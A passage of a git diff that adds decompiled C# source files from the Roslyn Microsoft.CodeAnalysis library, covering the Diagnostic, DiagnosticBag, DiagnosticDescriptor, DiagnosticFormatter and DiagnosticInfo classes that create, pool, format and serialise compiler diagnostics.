ProgrammaticSuppressionInfo? ProgrammaticSuppressionInfo => null; + + internal virtual int Code => 0; + + internal virtual IReadOnlyList Arguments => SpecializedCollections.EmptyReadOnlyList(); + + internal bool IsUnsuppressedError + { + get + { + if (Severity == DiagnosticSeverity.Error) + { + return !IsSuppressed; + } + return false; + } + } + + public static Diagnostic Create(DiagnosticDescriptor descriptor, Location? location, params object?[]? messageArgs) + { + return Create(descriptor, location, null, null, messageArgs); + } + + public static Diagnostic Create(DiagnosticDescriptor descriptor, Location? location, ImmutableDictionary? properties, params object?[]? messageArgs) + { + return Create(descriptor, location, null, properties, messageArgs); + } + + public static Diagnostic Create(DiagnosticDescriptor descriptor, Location? location, IEnumerable? additionalLocations, params object?[]? messageArgs) + { + return Create(descriptor, location, additionalLocations, null, messageArgs); + } + + public static Diagnostic Create(DiagnosticDescriptor descriptor, Location? location, IEnumerable? additionalLocations, ImmutableDictionary? properties, params object?[]? messageArgs) + { + return Create(descriptor, location, descriptor.DefaultSeverity, additionalLocations, properties, messageArgs); + } + + public static Diagnostic Create(DiagnosticDescriptor descriptor, Location? location, DiagnosticSeverity effectiveSeverity, IEnumerable? additionalLocations, ImmutableDictionary? properties, params object?[]? messageArgs) + { + if (descriptor == null) + { + throw new ArgumentNullException("descriptor"); + } + int defaultWarningLevel = GetDefaultWarningLevel(effectiveSeverity); + return SimpleDiagnostic.Create(descriptor, effectiveSeverity, defaultWarningLevel, location ?? Microsoft.CodeAnalysis.Location.None, additionalLocations, messageArgs, properties); + } + + public static Diagnostic Create(string id, string category, LocalizableString message, DiagnosticSeverity severity, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, int warningLevel, LocalizableString? title = null, LocalizableString? description = null, string? helpLink = null, Location? location = null, IEnumerable? additionalLocations = null, IEnumerable? customTags = null, ImmutableDictionary? properties = null) + { + return Create(id, category, message, severity, defaultSeverity, isEnabledByDefault, warningLevel, isSuppressed: false, title, description, helpLink, location, additionalLocations, customTags, properties); + } + + public static Diagnostic Create(string id, string category, LocalizableString message, DiagnosticSeverity severity, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, int warningLevel, bool isSuppressed, LocalizableString? title = null, LocalizableString? description = null, string? helpLink = null, Location? location = null, IEnumerable? additionalLocations = null, IEnumerable? customTags = null, ImmutableDictionary? properties = null) + { + if (id == null) + { + throw new ArgumentNullException("id"); + } + if (category == null) + { + throw new ArgumentNullException("category"); + } + if (message == null) + { + throw new ArgumentNullException("message"); + } + return SimpleDiagnostic.Create(id, title ?? ((LocalizableString)string.Empty), category, message, description ?? ((LocalizableString)string.Empty), helpLink ?? string.Empty, severity, defaultSeverity, isEnabledByDefault, warningLevel, location ?? Microsoft.CodeAnalysis.Location.None, additionalLocations, customTags, properties, isSuppressed); + } + + internal static Diagnostic Create(CommonMessageProvider messageProvider, int errorCode) + { + return Create(new DiagnosticInfo(messageProvider, errorCode)); + } + + internal static Diagnostic Create(CommonMessageProvider messageProvider, int errorCode, params object[] arguments) + { + return Create(new DiagnosticInfo(messageProvider, errorCode, arguments)); + } + + internal static Diagnostic Create(DiagnosticInfo info) + { + return new DiagnosticWithInfo(info, Microsoft.CodeAnalysis.Location.None); + } + + public abstract string GetMessage(IFormatProvider? formatProvider = null); + + public SuppressionInfo? GetSuppressionInfo(Compilation compilation) + { + if (!IsSuppressed) + { + return null; + } + if (!new SuppressMessageAttributeState(compilation).IsDiagnosticSuppressed(this, out AttributeData suppressingAttribute)) + { + suppressingAttribute = null; + } + return new SuppressionInfo(Id, suppressingAttribute); + } + + string IFormattable.ToString(string? ignored, IFormatProvider? formatProvider) + { + return DiagnosticFormatter.Instance.Format(this, formatProvider); + } + + public override string ToString() + { + return DiagnosticFormatter.Instance.Format(this, CultureInfo.CurrentUICulture); + } + + public sealed override bool Equals(object? obj) + { + if (obj is Diagnostic obj2) + { + return Equals(obj2); + } + return false; + } + + public abstract override int GetHashCode(); + + public abstract bool Equals(Diagnostic? obj); + + private string GetDebuggerDisplay() + { + return Severity switch + { + (DiagnosticSeverity)(-1) => "Unresolved diagnostic at " + Location, + (DiagnosticSeverity)(-2) => "Void diagnostic at " + Location, + _ => ToString(), + }; + } + + internal abstract Diagnostic WithLocation(Location location); + + internal abstract Diagnostic WithSeverity(DiagnosticSeverity severity); + + internal abstract Diagnostic WithIsSuppressed(bool isSuppressed); + + internal Diagnostic WithProgrammaticSuppression(ProgrammaticSuppressionInfo programmaticSuppressionInfo) + { + return new DiagnosticWithProgrammaticSuppression(this, programmaticSuppressionInfo); + } + + internal bool HasIntersectingLocation(SyntaxTree tree, TextSpan? filterSpanWithinTree = null) + { + if (isLocationWithinSpan(Location, tree, filterSpanWithinTree)) + { + return true; + } + if (AdditionalLocations == null || AdditionalLocations.Count == 0) + { + return false; + } + foreach (Location additionalLocation in AdditionalLocations) + { + if (isLocationWithinSpan(additionalLocation, tree, filterSpanWithinTree)) + { + return true; + } + } + return false; + static bool isLocationWithinSpan(Location location, SyntaxTree syntaxTree, TextSpan? filterSpan) + { + if (location.SourceTree != syntaxTree) + { + return false; + } + return filterSpan?.IntersectsWith(location.SourceSpan) ?? true; + } + } + + internal Diagnostic? WithReportDiagnostic(ReportDiagnostic reportAction) + { + return reportAction switch + { + ReportDiagnostic.Suppress => null, + ReportDiagnostic.Error => WithSeverity(DiagnosticSeverity.Error), + ReportDiagnostic.Default => this, + ReportDiagnostic.Warn => WithSeverity(DiagnosticSeverity.Warning), + ReportDiagnostic.Info => WithSeverity(DiagnosticSeverity.Info), + ReportDiagnostic.Hidden => WithSeverity(DiagnosticSeverity.Hidden), + _ => throw ExceptionUtilities.UnexpectedValue(reportAction), + }; + } + + internal static int GetDefaultWarningLevel(DiagnosticSeverity severity) + { + if (severity != DiagnosticSeverity.Warning && severity == DiagnosticSeverity.Error) + { + return 0; + } + return 1; + } + + internal virtual bool IsNotConfigurable() + { + return AnalyzerManager.HasNotConfigurableTag(CustomTags); + } + + internal bool IsUnsuppressableError() + { + if (DefaultSeverity == DiagnosticSeverity.Error) + { + return IsNotConfigurable(); + } + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticBag.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticBag.cs new file mode 100644 index 0000000..a824ba6 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticBag.cs @@ -0,0 +1,252 @@ +using System; +using System.Collections.Concurrent; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Text; +using System.Threading; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +[DebuggerTypeProxy(typeof(DebuggerProxy))] +internal class DiagnosticBag +{ + internal sealed class DebuggerProxy + { + private readonly DiagnosticBag _bag; + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public object[] Diagnostics + { + get + { + ConcurrentQueue lazyBag = _bag._lazyBag; + if (lazyBag != null) + { + return lazyBag.ToArray(); + } + return Array.Empty(); + } + } + + public DebuggerProxy(DiagnosticBag bag) + { + _bag = bag; + } + } + + private ConcurrentQueue? _lazyBag; + + private static readonly ObjectPool s_poolInstance = CreatePool(128); + + public bool IsEmptyWithoutResolution => _lazyBag?.IsEmpty ?? true; + + internal int Count => _lazyBag?.Count ?? 0; + + private ConcurrentQueue Bag + { + get + { + ConcurrentQueue lazyBag = _lazyBag; + if (lazyBag != null) + { + return lazyBag; + } + ConcurrentQueue concurrentQueue = new ConcurrentQueue(); + return Interlocked.CompareExchange(ref _lazyBag, concurrentQueue, null) ?? concurrentQueue; + } + } + + public bool HasAnyErrors() + { + if (IsEmptyWithoutResolution) + { + return false; + } + foreach (Diagnostic item in Bag) + { + if (item.DefaultSeverity == DiagnosticSeverity.Error) + { + return true; + } + } + return false; + } + + internal bool HasAnyResolvedErrors() + { + if (IsEmptyWithoutResolution) + { + return false; + } + foreach (Diagnostic item in Bag) + { + DiagnosticWithInfo obj = item as DiagnosticWithInfo; + if ((obj == null || !obj.HasLazyInfo) && item.DefaultSeverity == DiagnosticSeverity.Error) + { + return true; + } + } + return false; + } + + public void Add(Diagnostic diag) + { + Bag.Enqueue(diag); + } + + public void AddRange(ImmutableArray diagnostics) where T : Diagnostic + { + if (!diagnostics.IsDefaultOrEmpty) + { + ConcurrentQueue bag = Bag; + for (int i = 0; i < diagnostics.Length; i++) + { + bag.Enqueue(diagnostics[i]); + } + } + } + + public void AddRange(IEnumerable diagnostics) + { + foreach (Diagnostic diagnostic in diagnostics) + { + Bag.Enqueue(diagnostic); + } + } + + public void AddRange(DiagnosticBag bag) + { + if (!bag.IsEmptyWithoutResolution) + { + AddRange(bag.Bag); + } + } + + public void AddRangeAndFree(DiagnosticBag bag) + { + AddRange(bag); + bag.Free(); + } + + public ImmutableArray ToReadOnlyAndFree() where TDiagnostic : Diagnostic + { + ConcurrentQueue? lazyBag = _lazyBag; + Free(); + return ToReadOnlyCore(lazyBag); + } + + public ImmutableArray ToReadOnlyAndFree() + { + return ToReadOnlyAndFree(); + } + + public ImmutableArray ToReadOnly() where TDiagnostic : Diagnostic + { + return ToReadOnlyCore(_lazyBag); + } + + public ImmutableArray ToReadOnly() + { + return ToReadOnly(); + } + + private static ImmutableArray ToReadOnlyCore(ConcurrentQueue? oldBag) where TDiagnostic : Diagnostic + { + if (oldBag == null) + { + return ImmutableArray.Empty; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(); + foreach (TDiagnostic item in oldBag) + { + if (item.Severity != (DiagnosticSeverity)(-2)) + { + instance.Add(item); + } + } + return instance.ToImmutableAndFree(); + } + + public IEnumerable AsEnumerable() + { + ConcurrentQueue bag = Bag; + bool flag = false; + foreach (Diagnostic item in bag) + { + if (item.Severity == (DiagnosticSeverity)(-2)) + { + flag = true; + break; + } + } + if (!flag) + { + return bag; + } + return AsEnumerableFiltered(); + } + + private IEnumerable AsEnumerableFiltered() + { + foreach (Diagnostic item in Bag) + { + if (item.Severity != (DiagnosticSeverity)(-2)) + { + yield return item; + } + } + } + + internal IEnumerable AsEnumerableWithoutResolution() + { + IEnumerable lazyBag = _lazyBag; + return lazyBag ?? SpecializedCollections.EmptyEnumerable(); + } + + public override string ToString() + { + if (IsEmptyWithoutResolution) + { + return ""; + } + StringBuilder stringBuilder = new StringBuilder(); + foreach (Diagnostic item in Bag) + { + stringBuilder.AppendLine(item.ToString()); + } + return stringBuilder.ToString(); + } + + internal void Clear() + { + if (_lazyBag != null) + { + _lazyBag = null; + } + } + + internal static DiagnosticBag GetInstance() + { + return s_poolInstance.Allocate(); + } + + internal void Free() + { + Clear(); + s_poolInstance.Free(this); + } + + private static ObjectPool CreatePool(int size) + { + return new ObjectPool(() => new DiagnosticBag(), size); + } + + private string GetDebuggerDisplay() + { + return "Count = " + (_lazyBag?.Count ?? 0); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptor.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptor.cs new file mode 100644 index 0000000..bc0547b --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptor.cs @@ -0,0 +1,142 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Threading; +using Microsoft.CodeAnalysis.Diagnostics; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public sealed class DiagnosticDescriptor : IEquatable +{ + public string Id { get; } + + public LocalizableString Title { get; } + + public LocalizableString Description { get; } + + public string HelpLinkUri { get; } + + public LocalizableString MessageFormat { get; } + + public string Category { get; } + + public DiagnosticSeverity DefaultSeverity { get; } + + public bool IsEnabledByDefault { get; } + + public IEnumerable CustomTags { get; } + + internal ImmutableArray ImmutableCustomTags => (ImmutableArray)(object)CustomTags; + + public DiagnosticDescriptor(string id, string title, string messageFormat, string category, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, string? description = null, string? helpLinkUri = null, params string[] customTags) + : this(id, title, messageFormat, category, defaultSeverity, isEnabledByDefault, description, helpLinkUri, customTags.AsImmutableOrEmpty()) + { + } + + public DiagnosticDescriptor(string id, LocalizableString title, LocalizableString messageFormat, string category, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, LocalizableString? description = null, string? helpLinkUri = null, params string[] customTags) + : this(id, title, messageFormat, category, defaultSeverity, isEnabledByDefault, description, helpLinkUri, customTags.AsImmutableOrEmpty()) + { + } + + internal DiagnosticDescriptor(string id, LocalizableString title, LocalizableString messageFormat, string category, DiagnosticSeverity defaultSeverity, bool isEnabledByDefault, LocalizableString? description, string? helpLinkUri, ImmutableArray customTags) + { + if (string.IsNullOrWhiteSpace(id)) + { + throw new ArgumentException(CodeAnalysisResources.DiagnosticIdCantBeNullOrWhitespace, "id"); + } + if (messageFormat == null) + { + throw new ArgumentNullException("messageFormat"); + } + if (category == null) + { + throw new ArgumentNullException("category"); + } + if (title == null) + { + throw new ArgumentNullException("title"); + } + Id = id; + Title = title; + Category = category; + MessageFormat = messageFormat; + DefaultSeverity = defaultSeverity; + IsEnabledByDefault = isEnabledByDefault; + Description = description ?? ((LocalizableString)string.Empty); + HelpLinkUri = helpLinkUri ?? string.Empty; + CustomTags = customTags; + } + + public bool Equals(DiagnosticDescriptor? other) + { + if (this == other) + { + return true; + } + if (other != null && Category == other.Category && DefaultSeverity == other.DefaultSeverity && Description.Equals(other.Description) && HelpLinkUri == other.HelpLinkUri && Id == other.Id && IsEnabledByDefault == other.IsEnabledByDefault && MessageFormat.Equals(other.MessageFormat)) + { + return Title.Equals(other.Title); + } + return false; + } + + public override bool Equals(object? obj) + { + return Equals(obj as DiagnosticDescriptor); + } + + public override int GetHashCode() + { + return Hash.Combine(Category.GetHashCode(), Hash.Combine(((int)DefaultSeverity).GetHashCode(), Hash.Combine(Description.GetHashCode(), Hash.Combine(HelpLinkUri.GetHashCode(), Hash.Combine(Id.GetHashCode(), Hash.Combine(IsEnabledByDefault.GetHashCode(), Hash.Combine(MessageFormat.GetHashCode(), Title.GetHashCode()))))))); + } + + public ReportDiagnostic GetEffectiveSeverity(CompilationOptions compilationOptions) + { + if (compilationOptions == null) + { + throw new ArgumentNullException("compilationOptions"); + } + Diagnostic diagnostic = compilationOptions.FilterDiagnostic(Diagnostic.Create(this, Location.None), CancellationToken.None); + if (diagnostic == null) + { + return ReportDiagnostic.Suppress; + } + return MapSeverityToReport(diagnostic.Severity); + } + + internal static ReportDiagnostic MapSeverityToReport(DiagnosticSeverity severity) + { + return severity switch + { + DiagnosticSeverity.Hidden => ReportDiagnostic.Hidden, + DiagnosticSeverity.Info => ReportDiagnostic.Info, + DiagnosticSeverity.Warning => ReportDiagnostic.Warn, + DiagnosticSeverity.Error => ReportDiagnostic.Error, + _ => throw ExceptionUtilities.UnexpectedValue(severity), + }; + } + + internal static DiagnosticSeverity? MapReportToSeverity(ReportDiagnostic severity) + { + return severity switch + { + ReportDiagnostic.Error => DiagnosticSeverity.Error, + ReportDiagnostic.Warn => DiagnosticSeverity.Warning, + ReportDiagnostic.Info => DiagnosticSeverity.Info, + ReportDiagnostic.Hidden => DiagnosticSeverity.Hidden, + ReportDiagnostic.Suppress => null, + _ => throw ExceptionUtilities.UnexpectedValue(severity), + }; + } + + internal bool IsNotConfigurable() + { + return AnalyzerManager.HasNotConfigurableTag(ImmutableCustomTags); + } + + internal bool IsCompilerOrNotConfigurable() + { + return AnalyzerManager.HasCompilerOrNotConfigurableTag(ImmutableCustomTags); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptorErrorLoggerInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptorErrorLoggerInfo.cs new file mode 100644 index 0000000..344d815 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticDescriptorErrorLoggerInfo.cs @@ -0,0 +1,5 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis; + +internal readonly record struct DiagnosticDescriptorErrorLoggerInfo(double ExecutionTime, int ExecutionPercentage, ImmutableHashSet? EffectiveSeverities, bool HasAnyExternalSuppression); diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticFormatter.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticFormatter.cs new file mode 100644 index 0000000..f9e7fdf --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticFormatter.cs @@ -0,0 +1,87 @@ +using System; +using System.Globalization; +using Microsoft.CodeAnalysis.Text; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +public class DiagnosticFormatter +{ + internal static readonly DiagnosticFormatter Instance = new DiagnosticFormatter(); + + public virtual string Format(Diagnostic diagnostic, IFormatProvider? formatter = null) + { + if (diagnostic == null) + { + throw new ArgumentNullException("diagnostic"); + } + CultureInfo formatProvider = formatter as CultureInfo; + LocationKind kind = diagnostic.Location.Kind; + if (kind == LocationKind.SourceFile || kind - 3 <= LocationKind.SourceFile) + { + FileLinePositionSpan lineSpan = diagnostic.Location.GetLineSpan(); + FileLinePositionSpan mappedLineSpan = diagnostic.Location.GetMappedLineSpan(); + if (lineSpan.IsValid && mappedLineSpan.IsValid) + { + string path; + string basePath; + if (mappedLineSpan.HasMappedPath) + { + path = mappedLineSpan.Path; + basePath = lineSpan.Path; + } + else + { + path = lineSpan.Path; + basePath = null; + } + return string.Format(formatter, "{0}{1}: {2}: {3}{4}", new object[5] + { + FormatSourcePath(path, basePath, formatter), + FormatSourceSpan(mappedLineSpan.Span, formatter), + GetMessagePrefix(diagnostic), + diagnostic.GetMessage(formatProvider), + FormatHelpLinkUri(diagnostic) + }); + } + } + return string.Format(formatter, "{0}: {1}{2}", GetMessagePrefix(diagnostic), diagnostic.GetMessage(formatProvider), FormatHelpLinkUri(diagnostic)); + } + + internal virtual string FormatSourcePath(string path, string? basePath, IFormatProvider? formatter) + { + return path; + } + + internal virtual string FormatSourceSpan(LinePositionSpan span, IFormatProvider? formatter) + { + return $"({span.Start.Line + 1},{span.Start.Character + 1})"; + } + + internal string GetMessagePrefix(Diagnostic diagnostic) + { + return string.Format("{0} {1}", diagnostic.Severity switch + { + DiagnosticSeverity.Hidden => "hidden", + DiagnosticSeverity.Info => "info", + DiagnosticSeverity.Warning => "warning", + DiagnosticSeverity.Error => "error", + _ => throw ExceptionUtilities.UnexpectedValue(diagnostic.Severity), + }, diagnostic.Id); + } + + private string FormatHelpLinkUri(Diagnostic diagnostic) + { + string helpLinkUri = diagnostic.Descriptor.HelpLinkUri; + if (string.IsNullOrEmpty(helpLinkUri) || HasDefaultHelpLinkUri(diagnostic)) + { + return string.Empty; + } + return " (" + helpLinkUri + ")"; + } + + internal virtual bool HasDefaultHelpLinkUri(Diagnostic diagnostic) + { + return true; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticInfo.cs new file mode 100644 index 0000000..7413324 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticInfo.cs @@ -0,0 +1,331 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Globalization; +using System.Reflection; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal class DiagnosticInfo : IFormattable, IObjectWritable +{ + private readonly CommonMessageProvider _messageProvider; + + private readonly int _errorCode; + + private readonly DiagnosticSeverity _defaultSeverity; + + private readonly DiagnosticSeverity _effectiveSeverity; + + private readonly object[] _arguments; + + private static ImmutableDictionary s_errorCodeToDescriptorMap; + + private static readonly ImmutableArray s_compilerErrorCustomTags; + + private static readonly ImmutableArray s_compilerNonErrorCustomTags; + + bool IObjectWritable.ShouldReuseInSerialization => false; + + public int Code => _errorCode; + + public virtual DiagnosticDescriptor Descriptor => GetOrCreateDescriptor(_errorCode, _defaultSeverity, _messageProvider); + + public DiagnosticSeverity Severity => _effectiveSeverity; + + public DiagnosticSeverity DefaultSeverity => _defaultSeverity; + + public int WarningLevel + { + get + { + if (_effectiveSeverity != _defaultSeverity) + { + return Diagnostic.GetDefaultWarningLevel(_effectiveSeverity); + } + return _messageProvider.GetWarningLevel(_errorCode); + } + } + + public bool IsWarningAsError + { + get + { + if (DefaultSeverity == DiagnosticSeverity.Warning) + { + return Severity == DiagnosticSeverity.Error; + } + return false; + } + } + + public string Category => _messageProvider.GetCategory(_errorCode); + + internal ImmutableArray CustomTags => GetCustomTags(_defaultSeverity); + + public virtual IReadOnlyList AdditionalLocations => SpecializedCollections.EmptyReadOnlyList(); + + public virtual string MessageIdentifier => _messageProvider.GetIdForErrorCode(_errorCode); + + internal object[] Arguments => _arguments; + + internal CommonMessageProvider MessageProvider => _messageProvider; + + static DiagnosticInfo() + { + s_errorCodeToDescriptorMap = ImmutableDictionary.Empty; + s_compilerErrorCustomTags = ImmutableArray.Create("Compiler", "Telemetry", "NotConfigurable"); + s_compilerNonErrorCustomTags = ImmutableArray.Create("Compiler", "Telemetry"); + ObjectBinder.RegisterTypeReader(typeof(DiagnosticInfo), (ObjectReader r) => new DiagnosticInfo(r)); + } + + internal DiagnosticInfo(CommonMessageProvider messageProvider, int errorCode) + : this(messageProvider, errorCode, Array.Empty()) + { + } + + internal DiagnosticInfo(CommonMessageProvider messageProvider, int errorCode, params object[] arguments) + { + _messageProvider = messageProvider; + _errorCode = errorCode; + _defaultSeverity = messageProvider.GetSeverity(errorCode); + _effectiveSeverity = _defaultSeverity; + _arguments = arguments; + } + + protected DiagnosticInfo(DiagnosticInfo original, DiagnosticSeverity overriddenSeverity) + { + _messageProvider = original.MessageProvider; + _errorCode = original._errorCode; + _defaultSeverity = original.DefaultSeverity; + _arguments = original._arguments; + _effectiveSeverity = overriddenSeverity; + } + + internal static DiagnosticDescriptor GetDescriptor(int errorCode, CommonMessageProvider messageProvider) + { + DiagnosticSeverity severity = messageProvider.GetSeverity(errorCode); + return GetOrCreateDescriptor(errorCode, severity, messageProvider); + } + + private static DiagnosticDescriptor GetOrCreateDescriptor(int errorCode, DiagnosticSeverity defaultSeverity, CommonMessageProvider messageProvider) + { + return ImmutableInterlocked.GetOrAdd(ref s_errorCodeToDescriptorMap, errorCode, (int code, (DiagnosticSeverity defaultSeverity, CommonMessageProvider messageProvider) arg) => CreateDescriptor(code, arg.defaultSeverity, arg.messageProvider), (defaultSeverity, messageProvider)); + } + + private static DiagnosticDescriptor CreateDescriptor(int errorCode, DiagnosticSeverity defaultSeverity, CommonMessageProvider messageProvider) + { + return new DiagnosticDescriptor(messageProvider.GetIdForErrorCode(errorCode), messageProvider.GetTitle(errorCode), description: messageProvider.GetDescription(errorCode), messageFormat: messageProvider.GetMessageFormat(errorCode), helpLinkUri: messageProvider.GetHelpLink(errorCode), category: messageProvider.GetCategory(errorCode), customTags: GetCustomTags(defaultSeverity), defaultSeverity: defaultSeverity, isEnabledByDefault: messageProvider.GetIsEnabledByDefault(errorCode)); + } + + [Conditional("DEBUG")] + internal static void AssertMessageSerializable(object[] args) + { + foreach (object obj in args) + { + if (!(obj is IFormattable)) + { + Type type = obj.GetType(); + if (!(type == typeof(string)) && !(type == typeof(AssemblyIdentity)) && !type.GetTypeInfo().IsPrimitive) + { + throw ExceptionUtilities.UnexpectedValue(type); + } + } + } + } + + [Conditional("DEBUG")] + private static void AssertExpectedMessageArgumentsLength(CommonMessageProvider messageProvider, int errorCode, int actualLength) + { + } + + internal DiagnosticInfo(CommonMessageProvider messageProvider, bool isWarningAsError, int errorCode, params object[] arguments) + : this(messageProvider, errorCode, arguments) + { + if (isWarningAsError) + { + _effectiveSeverity = DiagnosticSeverity.Error; + } + } + + internal DiagnosticInfo GetInstanceWithSeverity(DiagnosticSeverity severity) + { + if (Severity != severity) + { + return GetInstanceWithSeverityCore(severity); + } + return this; + } + + protected virtual DiagnosticInfo GetInstanceWithSeverityCore(DiagnosticSeverity severity) + { + return new DiagnosticInfo(this, severity); + } + + void IObjectWritable.WriteTo(ObjectWriter writer) + { + WriteTo(writer); + } + + protected virtual void WriteTo(ObjectWriter writer) + { + writer.WriteValue(_messageProvider); + writer.WriteUInt32((uint)_errorCode); + writer.WriteInt32((int)_effectiveSeverity); + writer.WriteInt32((int)_defaultSeverity); + int num = _arguments.Length; + writer.WriteUInt32((uint)num); + if (num > 0) + { + object[] arguments = _arguments; + foreach (object obj in arguments) + { + writer.WriteString(obj.ToString()); + } + } + } + + protected DiagnosticInfo(ObjectReader reader) + { + _messageProvider = (CommonMessageProvider)reader.ReadValue(); + _errorCode = (int)reader.ReadUInt32(); + _effectiveSeverity = (DiagnosticSeverity)reader.ReadInt32(); + _defaultSeverity = (DiagnosticSeverity)reader.ReadInt32(); + int num = (int)reader.ReadUInt32(); + if (num > 0) + { + object[] arguments = new string[num]; + _arguments = arguments; + for (int i = 0; i < num; i++) + { + _arguments[i] = reader.ReadString(); + } + } + else + { + _arguments = Array.Empty(); + } + } + + private static ImmutableArray GetCustomTags(DiagnosticSeverity defaultSeverity) + { + if (defaultSeverity != DiagnosticSeverity.Error) + { + return s_compilerNonErrorCustomTags; + } + return s_compilerErrorCustomTags; + } + + internal bool IsNotConfigurable() + { + return _defaultSeverity == DiagnosticSeverity.Error; + } + + public virtual string GetMessage(IFormatProvider? formatProvider = null) + { + string text = _messageProvider.LoadMessage(_errorCode, formatProvider as CultureInfo); + if (string.IsNullOrEmpty(text)) + { + return string.Empty; + } + if (_arguments.Length == 0) + { + return text; + } + return string.Format(formatProvider, text, GetArgumentsToUse(formatProvider)); + } + + protected object[] GetArgumentsToUse(IFormatProvider? formatProvider) + { + object[] array = null; + for (int i = 0; i < _arguments.Length; i++) + { + if (_arguments[i] is DiagnosticInfo diagnosticInfo) + { + array = InitializeArgumentListIfNeeded(array); + array[i] = diagnosticInfo.GetMessage(formatProvider); + continue; + } + ISymbol symbol = (_arguments[i] as ISymbol) ?? (_arguments[i] as ISymbolInternal)?.GetISymbol(); + if (symbol != null) + { + array = InitializeArgumentListIfNeeded(array); + array[i] = _messageProvider.GetErrorDisplayString(symbol); + } + } + return array ?? _arguments; + } + + private object[] InitializeArgumentListIfNeeded(object[]? argumentsToUse) + { + if (argumentsToUse != null) + { + return argumentsToUse; + } + object[] array = new object[_arguments.Length]; + Array.Copy(_arguments, array, array.Length); + return array; + } + + public override string? ToString() + { + return ToString(null); + } + + public string ToString(IFormatProvider? formatProvider) + { + return ((IFormattable)this).ToString((string?)null, formatProvider); + } + + string IFormattable.ToString(string? format, IFormatProvider? formatProvider) + { + return string.Format(formatProvider, "{0}: {1}", _messageProvider.GetMessagePrefix(MessageIdentifier, Severity, IsWarningAsError, formatProvider as CultureInfo), GetMessage(formatProvider)); + } + + public sealed override int GetHashCode() + { + int num = _errorCode; + for (int i = 0; i < _arguments.Length; i++) + { + num = Hash.Combine(_arguments[i], num); + } + return num; + } + + public sealed override bool Equals(object? obj) + { + DiagnosticInfo diagnosticInfo = obj as DiagnosticInfo; + bool result = false; + if (diagnosticInfo != null && diagnosticInfo._errorCode == _errorCode && diagnosticInfo.GetType() == GetType() && _arguments.Length == diagnosticInfo._arguments.Length) + { + result = true; + for (int i = 0; i < _arguments.Length; i++) + { + if (!object.Equals(_arguments[i], diagnosticInfo._arguments[i])) + { + result = false; + break; + } + } + } + return result; + } + + private string? GetDebuggerDisplay() + { + return Code switch + { + -1 => "Unresolved DiagnosticInfo", + -2 => "Void DiagnosticInfo", + _ => ToString(), + }; + } + + internal virtual DiagnosticInfo GetResolvedInfo() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/Core/Portable/Diagnostic/DiagnosticInfo.cs", 514); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticSeverity.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticSeverity.cs new file mode 100644 index 0000000..f5ebbd8 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticSeverity.cs @@ -0,0 +1,9 @@ +namespace Microsoft.CodeAnalysis; + +public enum DiagnosticSeverity +{ + Hidden, + Info, + Warning, + Error +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticWithInfo.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticWithInfo.cs new file mode 100644 index 0000000..d97fe7d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis/DiagnosticWithInfo.cs @@ -0,0 +1,150 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using System.Linq; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis; + +[DebuggerDisplay("{GetDebuggerDisplay(), nq}")] +internal class DiagnosticWithInfo : Diagnostic +{ + private readonly DiagnosticInfo _info; + + private readonly Location _location; + + private readonly bool _isSuppressed; + + public override Location Location => _location; + + public override IReadOnlyList AdditionalLocations => Info.AdditionalLocations; + + internal override ImmutableArray CustomTags => Info.CustomTags; + + public override DiagnosticDescriptor Descriptor => 